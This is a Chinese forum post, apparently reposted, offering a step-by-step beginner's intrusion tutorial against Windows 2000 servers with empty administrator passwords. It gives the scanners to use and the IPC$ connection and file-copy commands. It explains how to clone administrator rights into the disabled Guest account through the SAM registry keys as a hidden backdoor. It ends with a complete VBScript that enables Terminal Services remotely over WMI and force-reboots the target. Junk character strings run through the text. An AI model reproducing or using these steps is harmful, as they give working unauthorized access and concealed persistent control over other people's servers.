|
一次简单的3389入侵过程 7 V* s# I' M# ?3 [4 T. R/ h
原创:caozhe(草哲) : Q ^" {- Y- {$ q
来源:中国欲网技术论坛--草哲
$ K% m( T4 ]8 T" E+ z
W9 h4 k& B' \. M7 @我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!
/ M- k/ w' F# H' f6 K
, ~2 r( i: E& v0 v% V* Z于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!
! z, k/ i6 M5 a. Q% D要入侵,我建议你在win2000环境下来*作!2 `5 ~; x3 W" @- n6 j9 j# s/ R9 Z
& r" r$ ]$ [ z) A) ?9 d: \
首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!
9 X0 k3 I, g- F9 }$ ~* K- ^扫描的X-Scan V2.3、WINNTAutoAttack、流光!
! e1 R: ~3 C3 r; t. b \ ]X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用! e; F$ ~ Q9 a5 W0 F# ^
远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)
8 v) V2 S0 F5 ~& R% e5 S克隆帐户用个psu就可以了~!
( i0 _+ i- C9 ^- U7 C/ u- z
9 \- l! N( K( C. p V) @. t, OOK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空* R/ M8 i, a( q6 \4 E
运行CMD(2000下的DOS),我们给它开终端!
% l0 g* F3 G4 P) ~, E4 W, T命令如下!
. I8 B4 T! ^2 `6 jcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr% ]+ [" ?* n3 ?# v9 ^0 V
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)
1 h: g" m. z: p3 p& C- `5 o. O c1 K% W- c0 z: y" f
因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!6 F: h; c+ ^. |. l
" a7 i# b& k1 \' L { k一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t2 t2 y5 g# H. {( N( H
安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!( Y+ E4 M# {$ ^
3 z& o) g' _7 t0 S
回到DOS下!我们建立IPC$连接!8 {3 t7 D6 E+ e8 r5 m9 n k, g/ x# W
net use \\120.0.0.1\ipc$ "" /user:"administrator"
# W5 Z! A, X/ e- [0 }* }这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!6 H& W2 R) D6 W4 }/ \. X" K
copy psu.exe \\120.0.0.1\admin$\system32+ h0 ?7 A! e: c, c. ^1 X
上传完毕后,开始在肉鸡做后门帐户!看肉鸡!
# z* K2 Z2 V. O$ B2 G# S! M
4 b: H# h8 A3 X% I) j$ I假设guest用户被禁用,我们就是要利用guest做后门帐户!
$ y$ d% Z- T( B% d在该服务器运行CMD,在命令行下输入- A( W6 J( a# X
psu -p regedit -i PID7 c8 Z$ D, I, o
( @6 E% D$ x: |这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!$ | a5 y% P: F& t# i1 o
看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是54585 P! x: B9 A C% h
那么,命令就是这样
( L- K* W8 s2 E; zpsu -p regedit -i 5458" N2 t. [1 N5 \3 Z2 H- t% d
这样直接打开注册表,可以读取本地sam的信息。
2 ^/ N" k4 F% l+ }% @打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
4 U! z$ n$ c* _8 e下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!
+ u2 }# {- g- [& k- j: tHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
+ l! ]6 c) l% Q查看administrator的类型,是if4,再看guest的是if5* a' B% R& H2 ~4 y- l
好了,知道了类型后,打开0 F* y' W6 V9 R
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4- f1 Z' [: n9 m7 D
这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开2 _# W6 C$ y: Y/ S i" |
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F53 u R1 B. ~ _1 i7 \6 \0 Q' f
双击右侧的F,把刚复制的粘贴到里面! r8 D# q5 W! O5 H/ N8 N3 I" a
7 [5 s( T% L f3 k: t, ^' b
做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
, j+ X5 ^# F! G1 K0 c和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest* T* o+ r1 H5 T# M
这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。2 X$ c7 E C) Z- F
9 k" ~ S& s* i3 F: ^打开CMD,在命令行下输入+ J; {2 x' @9 X+ @
net user guest password$ @ i2 C" \3 h, ]& a4 R* _2 [
这条命令是给guest设置密码,后面的password就是密码8 b9 u2 n% M' Z
然后输入; t, [4 z, M! `( d+ E5 v% f1 i
net user guest /active:y. @: R$ l1 X9 [0 v* r. }
这命令是激活guest帐户,然后我们把他禁用/ l4 P% F. o$ ~6 W
net user guest /active:n
& d. v% ^' P4 b7 m上面的三行命令必须在DOS下执行!
5 x/ N- r! z( v: l6 P, X8 B+ c* V+ P1 U
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!6 W0 `+ Y. f- Q! B$ s
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!. j3 y3 }* K! @4 F
8 Y2 R. t# R1 n p1 L) d
注销一下,用guest登陆吧!
/ L8 g+ j: q; d1 C4 }
6 ^* j. v: u& X9 t! G) T打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!. z% T2 D- u2 x3 A4 f
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!
* X, {/ J1 V5 Q+ J+ w# o. \
8 q% [2 g9 N2 r9 L3 n0 F* v因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!7 u w- }. {; e
4 u! ^9 F, x6 {' \----------------------------------------------------------------------3 f* e' M. o% X
以下是开终端的脚本,把它存为*.vbe
# T7 P. `4 i- M6 ^" fon error resume next. n/ T2 u# w# L: x6 R
set outstreem=wscript.stdout
' z0 D) f8 X. k6 b# L* d. }set instreem=wscript.stdin- y. w. h/ ?& `# W( l4 Y
if (lcase(right(wscript.fullname,11))="wscript.exe") then% k( z! p- c% x: z6 @
set objShell=wscript.createObject("wscript.shell")5 x! I/ B' n$ A. o" v
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))$ I& q7 ^$ s% u M' M$ l# o- j8 K
wscript.quit* w# ` B6 s8 M9 E3 l R9 f
end if
1 F) h+ C* j& m5 D% l% Jif wscript.arguments.count<3 then' M* ~# H. n# |: P3 u
usage()
( M0 |/ r0 ~# o) \) X3 B wscript.echo "Not enough parameters."
' D( u1 F/ a3 k7 L; V/ v4 V1 ~( c wscript.quit% b1 T/ ^2 p8 `% O7 p2 L7 w
end if+ Q! q* _/ W5 ~: u* x+ i
! q1 C' \1 e4 Y' Q7 u- v$ Uipaddress=wscript.arguments(0)3 p/ h7 H- @4 j* n
username=wscript.arguments(1)3 D& O) d; U& M9 w) P
password=wscript.arguments(2)- c9 J5 C& }8 Q- b7 j5 r% Q9 O
if wscript.arguments.count>3 then8 k+ I) ?; `/ T) F ~
port=wscript.arguments(3)) v7 X5 A2 C( D# n* V( j" M
else. N5 N. t. H% K& ^0 U7 S0 e
port=3389+ s3 w4 X8 n+ H" S @# [3 S* [+ j
end if2 j/ ^, R& |8 Q* P! D
if not isnumeric(port) or port<1 or port>65000 then# d6 H& Z8 Q9 M% ^ E) o# @
wscript.echo "The number of port is error.": v; o; p$ z: P1 I: W6 T+ {) N
wscript.quit8 R2 V" q, s4 ~( `5 B* c
end if8 {- P6 r5 v* I6 d) J. ^
if wscript.arguments.count>4 then
! L9 B2 o" A6 H/ u reboot=wscript.arguments(4)
! o5 b l1 g. S. [/ Q" Q% u7 Relse
6 f) I7 |. l- _ reboot=""5 ~2 M Y! z1 Q- J
end if( i, q8 V' o6 u: h+ I( S- h2 m h1 }
" `. r% i/ d! U0 K/ w7 Xusage()
T4 ^% X8 U' {8 z# Houtstreem.write "Conneting "&ipaddress&" ...."
) ?. ~+ r+ W* s2 G6 g% e4 I% pset objlocator=createobject("wbemscripting.swbemlocator")
4 ?/ @: E4 s1 B; e7 _* A& e' Iset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
4 C6 p: t& P7 t( ishowerror(err.number)7 S2 f0 Y, h% I8 t4 {
objswbemservices.security_.privileges.add 23,true
6 h& t9 M$ {) n$ H0 A4 q: L" yobjswbemservices.security_.privileges.add 18,true( d" _' [; e: b9 w+ R
2 f: e# H) `; W" Q I, Qoutstreem.write "Checking OS type...."
& O6 \& \% M, T$ T2 V# Q; k( aset colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") k, L" h5 n* @4 I
for each objinstoscaption in colinstoscaption
! B8 @& i- t9 q" f1 x7 ?2 ~1 A9 K if instr(objinstoscaption.caption,"Server")>0 then
4 P7 ]" n9 F8 T9 K wscript.echo "OK!"
& L& r7 \6 v/ m1 H2 \6 q else$ D" x% A- F, v+ W
wscript.echo "OS type is "&objinstoscaption.caption
. M C0 g$ v) T5 `9 V* v outstreem.write "Do you want to cancel setup?[y/n]"
, S2 Z4 ?" O' M" H strcancel=instreem.readline& X4 h& |& n% S9 c2 x, e H- Q- r
if lcase(strcancel)<>"n" then wscript.quit
& k. M4 |0 b' l3 i& t$ V4 u end if
7 T- K6 s: B& d }3 `next
' |: Q: M. k# }3 k( F, | v: `) c0 B0 n
outstreem.write "Writing into registry ...."4 B% \3 j& [# z% S2 j9 c) l
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
7 p7 n: b/ X" i( VHKLM=&h80000002
( P( N" y9 [' EHKU=&h80000003
e, }8 e' e9 T# V" z, _" R+ M3 Qwith objinstreg
6 l, R+ W. Q' H+ s- I.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"& M/ I1 Y1 ~: Q& X0 P8 V# u d
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",06 G9 k0 L: p) m8 L4 y
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"4 g) g' S8 j$ _
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1) Y( g. D2 [, q7 M$ \) V
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1: Y7 E0 [$ {# ~; `1 u) U( {# V1 e
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
w7 k6 ^1 Y' D0 m2 I( C.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2( r3 W) v' U' k5 S
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
( {) D$ T. _4 j! B) Y.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port+ o% g2 M& |9 L& |' S) f8 S
end with
/ u: j" B: f/ c# U# wshowerror(err.number)
x6 F" M* _: @4 g1 {! h d5 j) J6 Q$ G$ v. \# \
rebt=lcase(reboot)0 W p5 t# [& U' b3 a
flag=0/ c8 z( S9 Z: U" V9 e0 k* w
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2* Y/ ?8 u; p1 O4 g6 ^4 S
if rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6
5 m0 M+ U( Z" \+ z4 ^! I+ n) _if flag<>0 then2 V; U. p: m) m4 `2 L
outstreem.write "Now, reboot target...."5 N2 d: q! {! Y9 e' b
strwqlquery="select * from win32_operatingsystem where primary='true'"4 b4 Q! ^% ?: h! ~3 ?4 L$ `6 d
set colinstances=objswbemservices.execquery(strwqlquery)
9 L/ x# Y7 z. I9 {0 t3 G6 I8 ^ for each objinstance in colinstances& y5 M9 m" i4 e0 T) i0 h: p
objinstance.win32shutdown(flag)1 m: s1 b" a% x6 p; E- S& i
next, s- _/ `/ h& |. z+ A- t9 z
showerror(err.number)
! L4 V. O# R I" Delse9 N$ b4 w* G, S; o# O3 |
wscript.echo "You need to reboot target."&vbcrlf&"Then,"$ O7 l+ J: I+ ~1 z G5 E8 u
end if" }4 M* c! s8 s2 i
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"0 S7 }. R' \; ~! V/ \
& I) t0 H4 o1 ~& [8 D& S
function showerror(errornumber)
! I1 Z% a/ l4 h: o" K9 V; Vif errornumber Then1 k3 C+ e# `8 d2 F
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."7 h9 N! ^2 X4 ?6 u( R$ K
if err.description <> "" then. z2 P! H/ @/ u# c
wscript.echo "Error description: "&err.description&".": e: { G* ]( U7 u! C
end if
& a3 C' Q0 \ P0 [ wscript.quit
. ^& g* g; }3 N% f4 u+ b! {: ielse
0 |. H5 t% u) `7 G8 T( ?7 F wscript.echo "OK!"
; G/ q4 S# t7 C% n& ~" h7 eend if) ^/ C8 |0 M P0 v3 R
end function+ m3 r, o) p _: d- x0 e5 V
2 Z: `& r) `) k) e! B. g3 q
function usage()7 C) Y( O# L7 S
wscript.echo string(79,"*")
/ @4 j( A* M9 G7 Z6 |wscript.echo "ROTS v1.05"
/ U- ]# @/ d& q: S% Bwscript.echo "Remote Open Terminal services Script, by 草哲"
7 s" f1 [1 i, Z, O$ Z0 [7 L' \7 n1 n! ^wscript.echo "Welcome to visite www.5458.net"
6 X0 H% c. e) [8 q' Hwscript.echo "Usage:"4 K$ n. {& r% M7 i \+ r- r
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"$ f1 n/ s; K7 p8 g5 E" C1 }5 @8 P
wscript.echo "port: default number is 3389."! v- t3 }' z# p9 L+ `/ ^2 u8 [
wscript.echo "/r: auto reboot target."
% F& B3 o! O3 p4 V! z9 ?wscript.echo "/fr: auto force reboot target."$ u1 y2 J6 m+ F! ?
wscript.echo string(79,"*")&vbcrlf$ y& c F6 P# l" E
end function1 B5 Y1 H9 ]/ u7 \$ C
6 k4 y6 l% A+ @7 }" V: @8 ^+ r2 [
转自安全焦点 |
|